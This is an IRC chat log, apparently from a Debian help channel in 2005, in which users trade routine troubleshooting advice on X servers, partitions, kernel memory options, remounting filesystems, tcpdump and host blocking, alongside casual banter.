| 10:26.28 | simonrvn | seems the proxy is fubar |
| 10:26.29 | Whisky_ | PerfDave: my ISP for sure. |
| 10:27.08 | simonrvn | xserver-xorg or xserver-xfree86 |
| 10:27.11 | wombachi | gcc4fun: perhaps you're looking for xserver-xfree86 ? |
| 10:27.19 | Whisky_ | i like xfree86 better |
| 10:27.30 | gcc4fun | ^^ /me was looking for x11 *g* |
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| 10:27.47 | pepsi | whats the real difference between the two? |
| 10:27.53 | liable | gcc4fun: you prolly want x-window-system |
| 10:28.02 | gcc4fun | :) |
| 10:28.10 | PerfDave | pepsi: Not a huge amount. xorg has some extra eyecandy and a couple of newer drivers. |
| 10:28.15 | simonrvn | been using xorg for months, on and off, and i find it works better. this is subjective, except for the ati cards, where the driver is improved |
| 10:28.18 | Whisky_ | ok im awya, bye. |
| 10:28.21 | PerfDave | pepsi: However, xorg is under active development, and xfree86 isn't. |
| 10:28.30 | gcc4fun | this komüost extension ie |
| 10:28.43 | wombachi | Whisky_ xserver-xorg is only in unstable, not testing http://packages.debian.org/unstable/x11/xserver-xorg |
| 10:28.58 | pepsi | PerfDave, ok... ive been using xorg with ubuntu for a while but installed xfree86 on debian cause xorg wasnt in the stable repository |
| 10:28.58 | simonrvn | Free anyway. xfree86 is effectively closed 'cause of their 1.1 licence |
| 10:29.02 | pepsi | do you have to use testing? |
| 10:29.04 | liable | xorg actually gave me an accurate res option for my monitor with my ati. :) |
| 10:29.37 | PerfDave | simonrvn: Well, there are Free forks of xfree86, such as Debian's ;) |
| 10:29.38 | harleyg | lol, how do i untar a bz2? |
| 10:29.44 | simonrvn | PerfDave: for sure |
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| 10:29.49 | PerfDave | harleyg: You don't. You bunzip2 it. |
| 10:29.50 | Flimzy | When using LVM with multiple physical disks, is any attempt made to balance data across drives when not using striped mode? |
| 10:30.07 | harleyg | lol yeh yua understand |
| 10:30.08 | liable | !tell harleyg about tar |
| 10:30.11 | harleyg | thanks |
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| 10:31.45 | ani | hola |
| 10:31.52 | sml | ani: heila' |
| 10:32.04 | ani | qque pasa |
| 10:32.11 | gcc4fun | <PROTECTED> |
| 10:32.13 | aigarius | who effbot |
| 10:32.13 | liable | !br |
| 10:32.13 | dpkg | Por favor use #debian-br (/j #debian-br) para ajuda em portugues. |
| 10:32.16 | sml | ani: only english here ;) |
| 10:32.29 | ani | hiolaaaaaaaaaaaaaaaaaaaaaaaa |
| 10:32.30 | liable | or es? |
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| 10:33.17 | pepsi | do i need to boot off of a primary partition? |
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| 10:33.45 | pepsi | if i wanted root to be an extended partition could i just make /boot a primary partition? |
| 10:34.04 | liable | pepsi: you can have the whole thing on extended. |
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| 10:34.13 | pepsi | ok |
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| 10:35.08 | xsquared | * Cannot join #debian (You are banned). |
| 10:35.29 | xsquared | can't we connect here using tor? |
| 10:35.56 | liable | xsquared: no. read the freenode intro. |
| 10:36.14 | dimir | OMG! |
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| 10:37.23 | landslide | i have modified my /etc/X11/X86Config-4 file, can i return it to the default file easily? |
| 10:37.24 | xsquared | i could join here using tor a few months back :'-( |
| 10:37.32 | xsquared | were people abusing it or something? |
| 10:37.48 | liable | landslide: /msg dpkg xmd5 |
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| 10:40.02 | PerfDave | xsquared: http://freenode.net/policy.shtml#tor |
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| 10:40.46 | yalu | does anyone have experience with mixing different partition editors? my partition table is created mostly with parted. I have an xfs partition which I want to enlarge, but parted can't do this, so I used fdisk to delete/recreate the partition with the same begin, but different end point. After this, I couldn't mount the partition anymore and I had to use parted rescue command to bring the partition back to live again. |
| 10:41.24 | yalu | oh, and cfdisk refuses to work on the disk. it says "FATAL ERROR: bad logical partition 6: enlarged logical partitions overlap". |
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| 10:42.29 | RedShoe | bye |
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| 10:43.38 | Draconicus | Ah! Found what happens with the keyboard bug, if it is one. X.org's settings keep resetting to default. It's trying to use 101-key when this is a 104, even though I set it as 104. |
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| 10:43.59 | Flimzy | Is it possible to resize a JFS filesystem? |
| 10:44.19 | Draconicus | I'll play with it later. I'm going to be late for work if I don't go soon. |
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| 10:44.40 | Draconicus | Wait.. I am late. I mean Staples will open before I start working if I don't get my ass over there. Seeya. |
| 10:44.40 | liable | Draconicus: even with 104 in conf? |
| 10:45.15 | Draconicus | liable: Yes. The config keeps overwriting itself with the defaults. I can't get the framebuffer setting to stick either. When I select "write to config" for all of that stuff, it defaults instead. |
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| 10:45.39 | liable | Draconicus: edit it by hand, then it prolly wont do it. |
| 10:45.44 | landslide | thanks liable ;) |
| 10:46.17 | liable | landslide: np |
| 10:46.20 | Draconicus | Good idea, liable. Where's the file? This probably is also why ctrl+alt+Fkey won't work to switch to another console. |
| 10:46.29 | Draconicus | Only in X, of course. |
| 10:46.46 | liable | Draconicus: um, /etc/X11/.... |
| 10:46.50 | Draconicus | /etc/X11/config? |
| 10:46.52 | Draconicus | Hrm.. |
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| 10:46.59 | Draconicus | I'll list the directory and try to find it. |
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| 10:47.01 | Bwl | If I just run dpkg -l, I get the info in full-size. But if I run dpkg -l | grep <package>, I don't. Why do I have to write 'COLUMNS=180 dpkg -l | grep <package>' to get it correct? |
| 10:47.06 | liable | xorg.config |
| 10:47.19 | masoft | Do I enable something in kernel for have more than 1Gb memory ? |
| 10:47.22 | Draconicus | liable: wrong. |
| 10:47.30 | liable | conf then |
| 10:47.40 | Draconicus | Ah. There it is. |
| 10:47.41 | bibe | masoft : during make menuconfig |
| 10:47.43 | Draconicus | Thanks. |
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| 10:47.45 | simonrvn | f'ing lag |
| 10:48.00 | Bwl | masoft: There is an option yes. But I believe it states that 1Gb is the limit. |
| 10:48.03 | simonrvn | xorg.conf |
| 10:48.07 | bibe | masoft : set max memory size to 4GB |
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| 10:48.34 | masoft | Bwl, do you remember that option name ? |
| 10:48.38 | chupie | ok, back one more time.... fixed my resolution problem. now i can get my nfts drive to mount correctly..... |
| 10:48.40 | bibe | masoft : it's CONFIG_HIGHMEM4G |
| 10:48.59 | masoft | gcc4fun, use getoo :P |
| 10:49.01 | masoft | bibe, thx |
| 10:49.22 | Bwl | masoft: Sorry, no. But it is under the first alternatives and is named something like 'Support for large memory' etc. |
| 10:49.23 | bibe | masoft : not at all |
| 10:49.40 | gcc4fun | masoft: there everything is so easy that i'm bored |
| 10:49.59 | Draconicus | What the hell? In the config it's set to 104, but xprop -root | grep XKB returns "_XKB_RULES_NAMES_BACKUP(STRING) = "base", "pc101", "us", "", "" " |
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| 10:50.19 | Draconicus | What's with the "BACKUP" bit? |
| 10:50.43 | simonrvn | probably a fallback |
| 10:51.18 | Bwl | masoft: Processor type and feature / High Memory Support. Read the help. |
| 10:51.19 | Draconicus | Yeah... any way to fix that? That would mean it has a problem reading the config file, right? |
| 10:51.21 | liable | Draconicus: GO TO WORK :) |
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| 10:51.30 | Draconicus | I was about to, liable. :P |
| 10:51.46 | simonrvn | i.e., if there's errors of some sort, and they're unrecoverable, fall back to 'base 101 us' |
| 10:51.51 | Draconicus | I called in semi-sick, so they won't be mad, at least. |
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| 10:52.09 | Draconicus | Maybe I can modify the fallback.. hehe... |
| 10:52.22 | simonrvn | i wouldn't. it's there for a reason |
| 10:52.36 | Draconicus | Unfortunately I have Sid's X.org. |
| 10:52.43 | simonrvn | ...and it implies something is wrong with your conf. fix the conf, then it won't error out |
| 10:52.50 | simonrvn | so do i. and? |
| 10:52.52 | Draconicus | I don't own any 101 keyboards. I've reconfigured several times. |
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| 10:53.13 | Draconicus | Do you have the latest? I'm a decimal behind. |
| 10:53.16 | simonrvn | CUT_BUFFER0(STRING) = "xprop -root | grep XKB" |
| 10:53.18 | simonrvn | _XKB_RULES_NAMES_BACKUP(STRING) = "xorg", "pc104", "us", "", "" |
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| 10:53.34 | simonrvn | _XKB_RULES_NAMES(STRING) = "xorg", "pc104", "us,ca,us", ",fr-legacy,intl", "compose:menu,ctrl:nocaps,grp:alts_toggle" |
| 10:53.46 | simonrvn | nothing wrong here |
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| 10:53.58 | mrou | I tried to install xfce4-themes... but it complains dependency upon xfce4-panel (> 4.0.0) ... But i already have xfce4-panel 4.x.x... broken? |
| 10:54.08 | Draconicus | You don't like capslock? Well.. Then again, I don't either... Hmm. |
| 10:54.21 | Draconicus | I might enable that. :P |
| 10:54.23 | simonrvn | mrou: could be. updated lately? |
| 10:55.15 | mrou | simonrvn: fresh debian installation. |
| 10:55.21 | mrou | sid |
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| 10:55.24 | simonrvn | of what? |
| 10:55.32 | Draconicus | Anyway, gotta get to work. I'll be back in four five hours in all likelihood. I hope you're still here, simonrvn. You know exactly what you're talking about. I still have to ask, do you have the latest x.org for sid? I don't, and this might be a bug that they've mentioned. |
| 10:55.52 | simonrvn | sec |
| 10:55.58 | Draconicus | mrou: Perhaps you should have tried testing. |
| 10:56.02 | mrou | btw, there is 3 days that sid has no update... is there a "big" update coming? |
| 10:56.10 | Draconicus | They call it "Unstable" for a reason. |
| 10:56.17 | simonrvn | mrou: deb http://www.os-works.com/debian testing main |
| 10:56.18 | simonrvn | deb-src http://www.os-works.com/debian testing main |
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| 10:56.29 | simonrvn | mrou: says testing, but it's for sid |
| 10:56.29 | tarzeau | where can i read more on lockalternative= for debian grub/menu.lst ? |
| 10:56.36 | mrou | Draconicus: hum... no does not bother me ;-) just wanted confirmation |
| 10:56.46 | balony | What filesystems for linux are clusteraware? |
| 10:56.57 | simonrvn | Draconicus: i have -3. and i have a bit of clue, not a lot ;) |
| 10:56.58 | Draconicus | mrou: I assume you know what you're doing. If not, then you're rather foolish, I'd say. |
| 10:57.04 | simonrvn | Draconicus: i.e., not -4 |
| 10:57.26 | Draconicus | I think that's what I have, simonrvn... or maybe I'm a decimal behind. |
| 10:58.07 | Draconicus | Yeah. -3. |
| 10:58.26 | Draconicus | Eh, I'll figure it out. Maybe if I reconfigure via console rather than trying to fool with this graphical bit. |
| 10:58.26 | mrou | Draconicus: using sid for 4 years now! no way i go to testing... no breakage is no fun! :D |
| 10:58.43 | Draconicus | mrou: Okay. :P |
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| 10:59.03 | Draconicus | Work time. |
| 10:59.08 | Draconicus | Wish me luck. |
| 10:59.19 | liable | Draconicus: you didnt edit it and then keep trying to dpkg reconfigure it? |
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| 11:00.25 | Draconicus | liable: Of course not. The settings were originally imported from xserver-xfree86's settings, but that shouldn't be a problem. Last question before I take off: Do you think that deleting the config file, then reconfiguring would help? |
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| 11:01.12 | liable | Draconicus: it really couldnt hurt. touch it and md5sum it... |
| 11:01.24 | Draconicus | Okay.. |
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| 11:01.43 | liable | agreed |
| 11:01.44 | Draconicus | Thanks for the help, liable. I really appreciate it. Gotta go. |
| 11:02.33 | plb | hm so how broken is unstable these days =) |
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| 11:05.30 | bossa | ciao |
| 11:05.33 | concept10 | Sorry guys, I have to share this.. it is too funny to me: http://divinebluelotus.blogspot.com/ |
| 11:05.36 | bossa | q.cuno che parla italiano? |
| 11:05.45 | simonrvn | !it |
| 11:05.45 | dpkg | [italian] per aiuto in lingua italiana: /j #debian-it , (anche /j #linux-it ). Otterrete sicuramente piu' aiuto li', bischeri! For help in italian /j #debian-it or /j #linux-it |
| 11:05.46 | liable | !it |
| 11:06.29 | bossa | thanks dpkg |
| 11:06.45 | plb | concept10: =) |
| 11:07.16 | concept10 | plb, that is funny isnt it? |
| 11:08.00 | plb | in a way i spose ;] |
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| 11:10.18 | lars^ | How do cryptate linux files which program should i use? |
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| 11:11.37 | jm_ | lars^: there are several solutions, you might take a look at dm-crypt |
| 11:11.46 | googl1 | If you rate debian over Redhat or suse ... what is that |
| 11:11.46 | jm_ | that's for 2.6 |
| 11:12.00 | lars^ | jm_: okay. cool |
| 11:12.14 | jm_ | for 2.4 LOOP-AES seems popular |
| 11:13.16 | lars^ | jm_: do you know other solutions for 2.6 kernels? |
| 11:13.34 | jm_ | lars^: nope |
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| 11:18.13 | googl1 | whats great about debian ? |
| 11:18.19 | PerfDave | googl1: /msg dpkg why debian |
| 11:18.33 | googl1 | <PROTECTED> |
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| 11:19.34 | cafuego | !tell googl1 -about why debian |
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| 11:20.00 | googl1 | tq PerfDave |
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| 11:20.32 | dimir | !tell dimir -about why debian |
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| 11:20.39 | dimir | wow, it woiks ;-) |
| 11:20.57 | miz | Anyone willing to donate their `cat ~/.gtkrc` output provided they have changed their theme? |
| 11:21.19 | dimir | gtk, oh no! |
| 11:21.45 | jm_ | miz: why bother? use the switch utility |
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| 11:22.54 | googl1 | PerfDave: Thankyou |
| 11:23.39 | pepsi | can i mount ntfs partition rw? |
| 11:23.47 | PerfDave | pepsi: Not easily. |
| 11:24.20 | pepsi | interesting |
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| 11:24.48 | plb | redhat was pretty cool years and years ago |
| 11:24.55 | plb | but not now |
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| 11:25.16 | plb | never liked suse much though |
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| 11:25.32 | liable | h4mm3r`: network problems? |
| 11:25.51 | h4mm3r` | liable, ya ... my zyxel 650h-e1 sux! :( |
| 11:26.00 | h4mm3r` | i got disconnected |
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| 11:26.22 | liable | h4mm3r`: bugger. |
| 11:26.54 | liable | hehe |
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| 11:27.38 | GregM | ls |
| 11:28.05 | plb | /dev/null |
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| 11:32.44 | terravolt | is there any quick way to block an ip address from connecting to <any> port on a server ? |
| 11:33.19 | JohnnyST | Hi my helix-player dose not want to play real formats its quite often fails the helix-player that is at helix.alioth.debian.org is that one missing codecs or something? |
| 11:33.30 | GregM | terravolt iptables |
| 11:33.44 | jerome | terravolt: /etc/hosts.deny, iptables, or the server you're using on this port |
| 11:34.26 | terravolt | ok |
| 11:34.32 | terravolt | i will do hosts.deny |
| 11:34.59 | quittt | dpkg, hey |
| 11:35.00 | dpkg | Hello |
| 11:35.09 | quittt | dpkg, pink floyd? |
| 11:35.10 | dpkg | Information about Pink Floyd is divided into "early floyd," "middle floyd," "late floyd," and "current floyd." Please ask about one of these |
| 11:35.31 | quittt | dpkg, early floyd |
| 11:35.31 | dpkg | Pink Floyd was founded in 1965 by then lead guitarist/singer Syd Barrett. It included Roger Waters (bass), Nick Mason (drums), and Richard Wright (keyboards). They were then characterized as alternative or experimental rock. They grew popular with the releases of singles such as "Arnold Layne" and "See Emily Play" |
| 11:35.41 | liable | wow, didnt know about that.. |
| 11:35.58 | terravolt | jerome: in hosts.deny i would do ALL: a.b.c.d |
| 11:36.00 | terravolt | ? |
| 11:36.06 | Rixa | I havent received any updates to unstable for many days now, which is unusual. Do I have a problem of my own, or is it about them machines being moved around? |
| 11:36.07 | dimir | plb: agree |
| 11:36.12 | petemc | wtf have those factoids got to do with debian? |
| 11:36.13 | jerome | terravolt: rtfm |
| 11:36.27 | terravolt | lol |
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| 11:36.36 | jm_ | Rixa: you should really follow some of the mailing list if you're using unstable |
| 11:36.41 | jm_ | *lists |
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| 11:36.54 | Rixa | jm_: which lists do you suggest? |
| 11:37.11 | liable | !tell Rixa about sid |
| 11:37.39 | liable | Rixa: read the factoid, subsribe to those at least. |
| 11:37.58 | liable | bah, wrong one.. |
| 11:38.14 | Rixa | I've actually used sid for at least 5 years now. |
| 11:38.29 | rajasun | Rixa: ftpmaster moved. But now back. normal services should resume soon. Already some packages been uploaded to incoming today |
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| 11:38.40 | Rixa | rajasun: allright, thanks. |
| 11:38.46 | jm_ | Rixa: there's a factoid in dpkg with some info |
| 11:40.10 | liable | meh, mirrors here still havent synced.. |
| 11:40.11 | dimir | terravolt: and remember, hosts.allow is read first and the searching stops on the first match |
| 11:40.18 | Rixa | jm_: I read something about those servers earlier, but it said they shoulda been back online by monday so I started wondering if it's just me. |
| 11:40.24 | rajasun | Rixa: http://www.infodrom.org/~joey/log/?200507260932 |
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| 11:41.14 | Rixa | rajasun: thanks. |
| 11:41.24 | jm_ | Rixa: there was a post about it on Debian Planet too |
| 11:41.26 | rajasun | Rixa: np |
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| 11:41.51 | dimir | terravolt: meaning if you put ALL: ALL to hosts.allow, hosts.deny is changing nothing |
| 11:42.13 | jm_ | Rixa: I suppose it takes some time for normal operations to resume after they have been moved - I am not familiar with the details |
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| 11:43.08 | Rixa | jm_: really? I've taken a look at that site every now and then, but the latest headline now seems to be the Sarge release from 7. June. Guess it didn't make headlines.. |
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| 11:43.35 | jm_ | Rixa: you're thinking different site, planet.debian.net |
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| 11:43.51 | Rixa | jm_: oh, ok. |
| 11:44.31 | rajasun | Rixa: I see that webcalendar for sarge has been uploaded to incoming.debian.org today. May take a day or 2 for even some devels to realize |
| 11:44.33 | liable | I have to say, after looking for a while at debian.org, I was surprised the server move wasnt included in the latest news.. |
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| 11:45.09 | liable | would have been a good idea I thought, to have on the official website. |
| 11:45.13 | jm_ | webcalendar had a security update today |
| 11:45.32 | jm_ | liable: it doesn't affect regular Debian users |
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| 11:45.54 | bob2 | it was announced on debian-devel-announce |
| 11:46.00 | bob2 | which everyone using unstable should be on |
| 11:46.02 | liable | jm_: hmm, yes true. |
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| 11:46.37 | liable | bob2: yes, I got it, but even still, wouldnt be hard to put in the news. |
| 11:46.45 | Eonnn | does anyone know the command which shows all packets being broadcast over a LAN (e.g Promiscuous capture) - seen it down under Redhat but cant remember the command |
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| 11:47.04 | nagual | <PROTECTED> |
| 11:47.07 | nagual | ops |
| 11:47.14 | harleyg | i have made my new kernel |
| 11:47.20 | harleyg | but i need the vmlinuz image |
| 11:47.21 | jm_ | Eonn: tcpdump |
| 11:47.40 | Eonnn | jm_ : is that it? |
| 11:47.42 | jm_ | Eonn: wait, to answer your question - yes, many people know the command |
| 11:47.46 | harleyg | how do i make it, ive looked at a guide but the command mkinitrd -o /boot/initrd.img-2.6.8.1 2.6.8.1 doesnt work |
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| 11:48.40 | Eonnn | jm_ : will that capture appletalk packets as well? |
| 11:48.51 | jm_ | Eonnn: it doesn't care about the protocol |
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| 11:48.52 | xoz | ping |
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| 11:49.32 | Eonnn | jm_: cheers... thanks for taking the time to answer! =) |
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| 11:50.13 | jm_ | Eonnn: but it knows many protocols so that it can print data in user friendly format |
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| 11:50.52 | xoz | harleyg: mkinitrd -o img `uname -r` |
| 11:51.27 | liable | !tell harleyg about kp |
| 11:51.42 | antgel | where can i find the gcc options used to compile a debian package from source? i've looked in debian/rules, but they aren't there |
| 11:52.04 | bob2 | yes they are |
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| 11:52.19 | bob2 | if they're not, then it's set in the upstream build system |
| 11:52.23 | bob2 | goodluck untangling it |
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| 11:52.38 | jm_ | antgel: might be a matter of configure setting them |
| 11:52.48 | xoz | antgel: export CFLAGS=... |
| 11:52.52 | mpt | hi bob2 |
| 11:53.07 | bob2 | ah, hey mpt |
| 11:53.13 | antgel | xoz: i don't want to _set_ them, i want to see how they were set for the Debian package |
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| 11:53.43 | gil_ | this is really sick |
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| 11:53.47 | eka | hi all |
| 11:53.49 | xoz | antgel: grep |
| 11:53.54 | slashdog | hi |
| 11:53.57 | gil_ | 10 minutes of install and everything works |
| 11:54.10 | eka | how do i to forward an existing email address to another one in QMAIL? |
| 11:54.18 | bob2 | #qmail |
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| 11:54.29 | bob2 | presumably ~/.forward |
| 11:54.37 | antgel | thanks all, it's in the Makefile |
| 11:55.08 | asg | eka: man 5 dot-qmail |
| 11:55.18 | eka | asg: trying |
| 11:55.53 | Skiver | i'm behind a router, is that why my traceroute respond always stop at 192.168.1.1 ? |
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| 11:56.13 | kneet | What's the standard permissions for /tmp? Is it simply rwx for all ? Or are any of the special bits normally set? (Been playing with partitions and lost the permissions - just wondering what is standard) |
| 11:56.30 | bob2 | drwxrwxrwt 16 root root 16384 2005-07-27 21:29 /tmp |
| 11:56.32 | Skiver | if yes, anyway i can use this command ? |
| 11:56.33 | kneet | Thanls |
| 11:56.37 | bob2 | g+t is set |
| 11:56.47 | macthebimbo | can someone help to configure my epson printer to debian? mtink is already installed |
| 11:56.51 | D3v1L | kneet |
| 11:56.53 | kneet | bob2, looks like o+t? |
| 11:56.54 | bob2 | Skiver: your router could be broken and droppign them; you'll have to look at it's confiruartion |
| 11:57.02 | bob2 | kneet: er, right, sorry |
| 11:57.02 | D3v1L | kneet there is a sticky flag in /tmp |
| 11:57.02 | gil_ | do I have to worry having gateway running on winXP? |
| 11:57.07 | bob2 | it's ate ;p |
| 11:57.12 | bob2 | er, late |
| 11:57.23 | kneet | bob2, np - got the info I needed :) |
| 11:57.55 | kneet | normal box > lvm2 > lvm2 under evms - suddenly - X login failed 'cos tmp was rwxr--r-- :) |
| 11:57.56 | Whisky__ | ermm how do i list all partitions on my system and/or manage them ? |
| 11:58.33 | gusar612 | Hi! How do i configure my name service switch (NSS) to use DNS as one of the sources for host names? |
| 11:58.53 | Skiver | bob2 : do i need specific port forwarding for this ? my router seems fine to me. |
| 11:59.07 | positrix | Whisky__: df should list them |
| 11:59.13 | bob2 | Whisky__: "fdisk -l /dev/hdN" will list all partitions on hdN |
| 11:59.22 | bob2 | Skiver: no, it's not to do with port forwarding |
| 11:59.28 | bob2 | traceroute doesn't use tcp |
| 12:00.03 | Shorty` | anyone know what the last two values in /proc/loadavg mean? |
| 12:00.29 | Whisky__ | thanks |
| 12:00.30 | jm_ | Shorty`: /msg dpkg anyone |
| 12:00.39 | eka | asg: thx done! |
| 12:00.46 | Shorty` | you could get him to tell me about it ;> |
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| 12:01.04 | jm_ | it would mean more typing for me |
| 12:01.08 | Shorty` | what's *that* wrong with asking anyone though? |
| 12:01.18 | Shorty` | would you rather I individually ask every nickname? |
| 12:01.19 | Whisky__ | do I need an ethernet card or just a router to link two PC's for sharing DSL ? |
| 12:01.43 | bob2 | Whisky__: if you didn't have an ethernet card, what would you plug the router into? |
| 12:01.44 | jm_ | Shorty`: "What do the last two values in /proc/loadavg mean?" |
| 12:01.51 | Shorty` | sure. |
| 12:01.57 | Shorty` | What do the last two values in /proc/loadavg mean? |
| 12:02.04 | gusar612 | anyone with any experience configuring NSS? |
| 12:02.05 | Shorty` | I just fail to see what's *that* wrong with it? |
| 12:02.09 | Shorty` | oo GET HIM! |
| 12:02.18 | Whisky__ | bob2: oops. |
| 12:02.27 | jm_ | number of running tasks/number of threads, last_pid according to kernel source |
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| 12:02.57 | Shorty` | ah.. ok |
| 12:03.02 | Shorty` | thankyou :) |
| 12:03.05 | jm_ | np |
| 12:03.08 | Whisky__ | router is pronounced as "rooter", right ? |
| 12:03.13 | gusar612 | no |
| 12:03.17 | gusar612 | not in my world |
| 12:03.17 | positrix | Whisky__: no |
| 12:03.17 | Shorty` | ahah |
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| 12:03.23 | gil_ | oh, I just found something that doesn't work |
| 12:03.23 | bob2 | depends where you are |
| 12:03.25 | Whisky__ | :| |
| 12:03.25 | jm_ | Whisky__: depends on where you live, but yes, people who speak proper english pronounce it like that |
| 12:03.25 | gil_ | foof |
| 12:03.27 | bob2 | in .au, rowter |
| 12:03.27 | Shorty` | it's 'supposed' to be the way Australian speak |
| 12:03.30 | Whisky__ | Raooter? |
| 12:03.31 | Eonnn | is whisky taking the piss? |
| 12:03.32 | Shorty` | ahaha |
| 12:03.32 | Shorty` | yeh |
| 12:03.33 | gusar612 | root is what you do at a soccer game |
| 12:03.44 | Shorty` | route is said 'root' basically. |
| 12:03.48 | bob2 | root also has another meaning in australian english |
| 12:03.56 | xsquared | i agree |
| 12:03.56 | gusar612 | no its not Shorty` =P |
| 12:03.58 | Shorty` | I think it really sounds wrong though ;> |
| 12:04.00 | bob2 | which is hopefully not something routers do to packets |
| 12:04.01 | Shorty` | it is so. |
| 12:04.06 | Shorty` | in australian it is :P |
| 12:04.10 | Whisky__ | jm_: I knew I was right :| People around here call it "raa-oo-ter" and it really pisses me off :| |
| 12:04.20 | gusar612 | Whisky__: its supposed to be like that |
| 12:04.26 | Shorty` | rr---aww--ter |
| 12:04.26 | Shorty` | :> |
| 12:04.34 | liable | rooter |
| 12:04.37 | Whisky__ | gusar612: "raa-oo-ter" ? |
| 12:04.38 | macthebimbo | epson help needed, please |
| 12:04.41 | xsquared | i want in |
| 12:04.42 | gusar612 | yes =) |
| 12:04.43 | Shorty` | Americans talk too slowly *grin* |
| 12:04.44 | positrix | r-outer? as in "out"? |
| 12:04.46 | gusar612 | thats correct |
| 12:05.01 | xsquared | exactly |
| 12:05.04 | liable | rout er |
| 12:05.06 | asg | Shorty`: only people in the Southern states |
| 12:05.12 | Shorty` | ahah |
| 12:05.15 | Whisky__ | why cant they keep the names according to proper english :/ |
| 12:05.22 | Shorty` | when I watch that stupid show with katie couric on it |
| 12:05.27 | Shorty` | I can't *stand* the way they talk |
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| 12:05.55 | asg | Shorty`: that's tv anchorspeak designed to be acceptible to the largest drooling crowd |
| 12:06.05 | Shorty` | ahah. |
| 12:06.07 | Shorty` | so.. |
| 12:06.15 | Shorty` | they're american. *broad sweeping statement* |
| 12:06.16 | Shorty` | :P |
| 12:06.26 | asg | Shorty`: no, KC is from another planet |
| 12:06.31 | Shorty` | ahah. |
| 12:06.41 | positrix | who is Katie Couric? |
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| 12:07.11 | gusar612 | Anyone know how to configure NSS to use DNS as a source for host names? |
| 12:07.23 | PerfDave | gusar612: /etc/nsswitch.conf |
| 12:07.24 | jm_ | gusar612: man nsswitch.conf |
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| 12:07.38 | jm_ | damn missed the opportunity to do /msg dpkg anyone again! |
| 12:07.45 | plb | anyone using sarge with the backport of xorg here? |
| 12:07.51 | Skiver | bob2 : does it have something to do with my router enabled as a dhcp server? |
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| 12:08.02 | asg | jm_: you can't win 'em all |
| 12:08.02 | pedrolito59 | hi |
| 12:08.09 | macthebimbo | rning: |
| 12:08.09 | macthebimbo | <PROTECTED> |
| 12:08.09 | macthebimbo | <PROTECTED> |
| 12:08.10 | macthebimbo | <PROTECTED> |
| 12:08.10 | macthebimbo | <PROTECTED> |
| 12:08.10 | macthebimbo | <PROTECTED> |
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| 12:08.27 | jm_ | asg: especially not with such influx of them |
| 12:08.45 | pedrolito59 | who knows well about X Window System ? |
| 12:09.04 | nagual | bob2 knows x window system very well pedrolito59 |
| 12:09.04 | jm_ | pedrolito59: /msg dpkg ask |
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| 12:09.17 | Eonnn | pedrolito: just ask |
| 12:09.28 | pedrolito59 | I have a machine under Linux |
| 12:09.35 | Skiver | brb. |
| 12:09.41 | pedrolito59 | with the application xclock |
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| 12:09.48 | pedrolito59 | but without X server |
| 12:09.54 | gusar612 | jm_: ive check there and as i understood it i was supposed to add "dns" after the host in the conf file... doesnt work tho |
| 12:09.54 | jm_ | pedrolito59: /msg dpkg enter |
| 12:09.59 | gusar612 | just checking if it was something more to it |
| 12:10.12 | jm_ | gusar612: yes it does, but it may mean you have to restart the application |
| 12:10.13 | pedrolito59 | next to that, I have another machine under Windows with Cygwin with a server X |
| 12:10.20 | streuner_ | macthebimbo: /msg dpkg guidelines ; /topic |
| 12:10.22 | gusar612 | humm =) |
| 12:10.24 | madroach | I access the inet through a masquerading router. Is there a way to determine my dynamically assigned ip without using whatismyip.com?? |
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| 12:10.37 | pedrolito59 | With ssh, I want to open my application on my windows XP |
| 12:10.45 | pedrolito59 | is it clear ? |
| 12:10.58 | pedrolito59 | I user putty to connect my Linux server |
| 12:11.04 | jm_ | pedrolito59: /msg dpkg sshx |
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| 12:11.44 | stew | pedrolito59: afaik, you would need an x server running on your xp machine |
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| 12:11.52 | jm_ | he has it ;) |
| 12:11.54 | asg | madroach: use dyndns.org or some other system |
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| 12:12.10 | macthebimbo | streuner: I know now about it |
| 12:12.33 | Eonnn | pedrolite: if you are just accessing data you could use WinSCP over XP |
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| 12:12.49 | yalu | this is NOT good... for some reason, my server mounted its root filesystem *read only* and refuses to mount it read-write. it says "mount: block device /dev/hda5 is write-protected, mounting read-only" |
| 12:12.57 | streuner_ | macthebimbo: What's your native language? |
| 12:13.26 | pedrolito59 | I want to open xclock for instance on my XP |
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| 12:13.38 | stew | yalu: you have tried -o remount=rw ? |
| 12:13.44 | tralala | pedrolito59: from a linux box? |
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| 12:13.52 | gusar612 | thank you jm_! Its working now |
| 12:13.58 | jm_ | gusar612: np |
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| 12:14.00 | macthebimbo | streuner: english |
| 12:14.13 | tralala | riiiight |
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| 12:14.22 | macthebimbo | pourquoi pas? |
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| 12:15.07 | yalu | stew: that error is what it said when I trier -o remount,rw . when I try remount=rw I get this: mount: /dev/hda5 already mounted or / busy |
| 12:15.11 | yalu | mount: according to mtab, /dev/hda5 is already mounted on / |
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| 12:16.00 | simonrvn | address: NL-6525 ED Nijmegen |
| 12:16.01 | simonrvn | address: The Netherlands |
| 12:16.03 | stew | yalu: have you tried to fsck it? |
| 12:16.08 | simonrvn | whois 82.215.0.0/18 |
| 12:16.27 | yalu | stew: it looks like it's time for that. since it is mounted read-only I can do that safely now, isn't it? |
| 12:16.48 | streuner_ | Toernooiveld 318 |
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| 12:17.00 | simonrvn | origin: AS20507 |
| 12:17.03 | stew | yalu: yes |
| 12:18.14 | streuner_ | !nl |
| 12:18.14 | dpkg | .NL is the Netherlands. See http://www.cia.gov/cia/publications/factbook/geos/nl.html |
| 12:19.16 | yalu | stew: one small corruption found... still get the error about write-protected |
| 12:19.42 | stew | yalu: and the small corruption was fixed? |
| 12:20.01 | yalu | stew: yup |
| 12:20.06 | stew | yalu: so the driver must not think it is read only media |
| 12:20.11 | stew | dunno |
| 12:20.29 | yalu | "write protected"... /dev/hda5 is writeable by root |
| 12:20.45 | stew | dunno, reboot? |
| 12:20.49 | tralala | yalu: how are you trying to remount it? |
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| 12:21.06 | yalu | tralala: mount /dev/hda5 -t ext3 / -o remount,rw |
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| 12:21.18 | tralala | nah, mount -o remount,rw / |
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| 12:23.46 | g00se | Configured default user Sarge+Gnome - no problem. Configured new user in Gnome, can't log in to desktop as that user (nothing happens)? |
| 12:24.09 | miguelzinho | how do i reconfigure my keyboard? |
| 12:24.12 | macthebimbo | no one ever configered an epson printer? |
| 12:24.15 | damian666 | hi folks, i just upgraded some days ago to kernel 2.6.12 (on sid), and made a update for all necessary sou |
| 12:24.17 | miguelzinho | in text mode |
| 12:24.20 | damian666 | whooops sorry |
| 12:24.22 | stew | macthebimbo: /msg dpkg keymap |
| 12:24.29 | positrix | miguelzinho: loadkeys |
